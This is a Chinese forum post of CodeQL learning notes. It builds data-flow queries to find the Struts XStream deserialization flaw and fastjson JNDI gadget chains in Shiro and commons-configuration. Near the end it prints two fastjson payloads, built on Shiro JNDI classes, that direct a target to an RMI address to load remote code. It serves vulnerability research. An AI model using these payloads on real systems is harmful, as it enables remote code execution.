本文主要内容有:

  • 如何查找函数调用
  • 如何查找属性使用
  • 如何进行数据流分析
  • 寻找fastjson jndi反序列化链

Workshop 学习

这部分是学习这个codeql的workshop的笔记。Struts 有个漏洞 CVE-2017-9805 ,是由于用户控制的输入直接传到了XStream.fromXML,造成了反序列化漏洞。这个workshop主要是分析如何利用codeql数据流分析功能找到这个洞。

Struts有个 contentypehandlerinterface 里面有个方法是toObject(Reader in, Object target), 这个方法是用来根据用户请求的content-type来进行处理请求。现在已知这个in 是由用户完全控制的,可以算是一个source,另外一个已知是com.thoughtworks.xstream.fromXML 存在反序列化问题,可以算是一个sink.

所以进行数据流分析可以是从toObject这个Methodin 这个Parameter,流到fromXML这个MethodAccessarguement

下面是parameterargument的区别。简单的来说parameter是函数定义时候的变量,argument是调用时传进去的变量。

A parameter is a variable in a method definition. When a method is called, the arguments are the data you pass into the method's parameters.

public void MyMethod(string myParam) { }

...

string myArg1 = "this is my argument";
myClass.MyMethod(myArg1);

Method

根据Method name查询

import java

from Method method
where method.hasName("toObject")
select method

把这个方法的class name也查出来

import java

from Method method
where method.hasName("toObject")
select method, method.getDeclaringType()

点击右侧的可以看到相应的代码片段。

这里比较奇怪,为啥8,9会出现。

查看代码可以发现这是一个匿名类。看到这里感觉codeql还是比较牛逼的。

根据Method name 和 class name 查询

比如我想查询Xstream 这个类的fromXML 方法。

predicate hasQualifiedName(string package, string type)

import java

from Method method
where method.hasName("fromXML") and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream")
select method

根据Method name 和 interface name 查询

比如我想查询ContentTypeHandler 的所有子类toObject方法

import java

from Method method
where method.hasName("toObject") and method.getDeclaringType().getASupertype().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")
select method

这样会比直接根据method name查少一个结果,少的结果是ContentTypeHanlder他自己。

可以用getAnAncestor()

Gets a direct or indirect supertype of this type, including itself.

RefType getAnAncestor()

import java

from Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")
select method

也可以用getDeclaringType()* 类似的还有getDeclaringType()+

有个问题是,万一一个类实现了多个接口是不是也可以这么用? 答案是是的

getAxxxx,如果有多个结果会以多行的形式按照一定的顺序显示出来。

比如getAParamType

获取Method的parameter

getAParamType() Gets the type of a formal parameter of this callable

getAParameter() Gets a formal parameter of this callable

getNumberOfParameters() Gets the number of formal parameters of this callable.

getParameter(int n) Gets the formal parameter at the specified (zero-based) position.

getParameterType(int n) Gets the type of the formal parameter at the specified (zero-based) position

import java

from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select method.getParameter(0)

MethodAccess

一般是先查method,与MethodAccess.getMethod() 进行比较。

比如查ContentTypeHandlertoObject() 方法的调用。

import java

from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getASupertype().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call

上面这种查询方式不行,只能查到JsonLibHandler 这样显式定义的。

对于这种, 真正用的并没有查到

怎么改进呢?
也可以使用getAnAncestor() 或者getASupertype()*

import java

from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call

这种查询能够涵盖上面的两种情况

从上面可以看到MethodAccess 的查询依赖于Method 的查询。

获取MethodAccess 的 argument

getATypeArgument Gets a type argument supplied as part of this method access, if any.
getAnArgument Gets an argument supplied to the method that is invoked using this method access.
getArgument(int n) Gets the argument at the specified (zero-based) position in this method access.

getTypeArgument(int n) Gets the type argument at the specified (zero-based) position in this method access, if any.

import java

from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call.getArgument(0)

dataflow

从source,到sink 有没有一条路径。

也就是从toObject的in parameter 到 fromXML的in argument 有没有一条路径。

数据流分析要继承DataFlow::Configuration 这个类,然后重载isSourceisSink 方法

class MyConfig extends DataFlow::Configuration {
  MyConfig() { this = "Myconfig" }
  override predicate isSource(DataFlow::Node source) {
    ....
    )
  }

    override predicate isSink(DataFlow::Node sink) {
    ....
    )
  }
}

先介绍一下exists 的用法。

exists

This quantifier has the following syntax:

exists(<variable declarations> | <formula>)

You can also write exists( | | ). This is equivalent to exists( | and ).

This quantified formula introduces some new variables. It holds if there is at least one set of values that the variables could take to make the formula in the body true.

For example, exists(int i | i instanceof OneTwoThree) introduces a temporary variable of type int and holds if any value of that variable has type OneTwoThree.

说人话就是,variable满足formula 则返回true 否则返回false

Node 的 方法

asExpr Gets the expression corresponding to this node, if any.
asParameter Gets the parameter corresponding to this node, if any.

完整的数据流分析代码如下

import java
import semmle.code.java.dataflow.DataFlow

class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {
  StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }
  override predicate isSource(DataFlow::Node source) {
    exists(Method method |
    method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and source.asParameter() = method.getParameter(0)
    )
  }

    override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call, Method method |
      method.hasName("fromXML") and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and call.getMethod() = method and sink.asExpr() = call.getArgument(0)
    )
  }
}

from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink

小试牛刀 - codeql 找fastjson 反序列化链

为了与这位老哥https://xz.aliyun.com/t/7482作个对比,这里我也选用了`shrio`common-configuration

shrio

source 主要是 class的所有Field, sink 就是javax.naming Context interfacelookup 方法,看16年backhat 的那个ppt其实还有个search方法,但是这个不能直接注入URL,所以在这里就不考虑了。大家如果还有其他sink欢迎联系一起交流。

第一版代码

import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.TaintTracking

class JNDIMethod extends Method{
    JNDIMethod(){
        this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
        this.hasName("lookup")
    }
}

class MyTaintTrackingConfiguration extends TaintTracking::Configuration {
  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

  override predicate isSource(DataFlow::Node source) {
    exists(FieldAccess fac|
    source.asExpr() = fac
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call |
    call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
    )
  }
}

from  MyTaintTrackingConfiguration config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink

能查出来,但是没有显示具体的path,后来查看文档,应该是可以显示path的。

Running path queries in VS Code

  1. Open a path query in the editor.
  2. Right-click in the query window and select CodeQL: Run Query. (Alternatively, run the command from the Command Palette.)
  3. Once the query has finished running, you can see the results in the Results view as usual (under alerts in the dropdown menu). Each query result describes the flow of information between a source and a sink.
  4. Expand the result to see the individual steps that the data follows.
  5. Click each step to jump to it in the source code and investigate the problem further.
  6. To navigate the path from your keyboard, you can bind shortcuts to the CodeQL: Show Previous Step on Path and CodeQL: Show Next Step on Path commands.

后来根据https://github.com/github/codeql/blob/master/java/ql/src/Security/CWE/CWE-079/XSS.ql 这个抄了一下。

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph

class JNDIMethod extends Method{
    JNDIMethod(){
        this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
        this.hasName("lookup")
    }
}

class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

  override predicate isSource(DataFlow::Node source) {
    exists(FieldAccess fac|
    source.asExpr() = fac
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call |
    call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
    )
  }
}

from  MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, source.getNode()

下拉菜单里面nodesedge 但是没有他说的alerts

后来查了一下 几下,查到了这个https://help.semmle.com/lgtm-enterprise/user/help/writing-custom-queries.html 在注释里面加一个metadata 就行了。(其实上面的xss.ql里面也写了,以为注释不用抄)

最终代码变成了这样。

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph

class JNDIMethod extends Method{
    JNDIMethod(){
        this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
        this.hasName("lookup")
    }
}

class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

  override predicate isSource(DataFlow::Node source) {
    exists(FieldAccess fac|
    source.asExpr() = fac
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call |
    call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
    )
  }
}


from  MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()

通过人工检查这些路径,第一个属于误报,第二个三属于不同的分支,可利用,第四也可利用。

第一个是属于误报

分析认为org.apache.shiro.jndi.JndiLocatorCONTAINER_PREFIX Field 也会通过convertJndiName 的调用传播到lookup 那里

第二个和第三个属于同一个,分别if,else分支里

org.apache.shiro.jndi.JndiObjectFactory

String input = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\", \"resourceName\":\"rmi://127.0.0.1:9050/exploit\"}";
Object obj = JSON.parseObject(input);

第四个

org.apache.shiro.realm.jndi.JndiRealmFactory

String input = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":\"rmi://127.0.0.1:9050/exploit\"}";
Object obj = JSON.parseObject(input);

可以看到成功的发起了RMI请求

怎么减少误报呢?

FieldAccess要从一个setXXX或者getXXX 流到 lookup

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph

class JNDIMethod extends Method{
    JNDIMethod(){
        this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
        this.hasName("lookup")
    }
}

class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

  override predicate isSource(DataFlow::Node source) {
    exists(FieldAccess fac |
    (fac.getSite().getName().indexOf("get")=0 or fac.getSite().getName().indexOf("set")=0) and source.asExpr() = fac
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call |
    call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
    )
  }
}


from  MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()

这样就会排除第一个误报。

common-configuration

common-configuration 的结果如下

从上面可以看到效果和那位老哥的基本差不多,而且直接给出了具体的数据流。

附件我提供了我创建好的两个database,供大家下载!
一个30.8M 一个 29.9M ,我没能上传成功,我是从github直接下载的源码,然后使用 codeql database create --language=java qldatabase 让他自己build一会就好了。

参考链接

点击收藏 | 2 关注 | 3
登录 后跟帖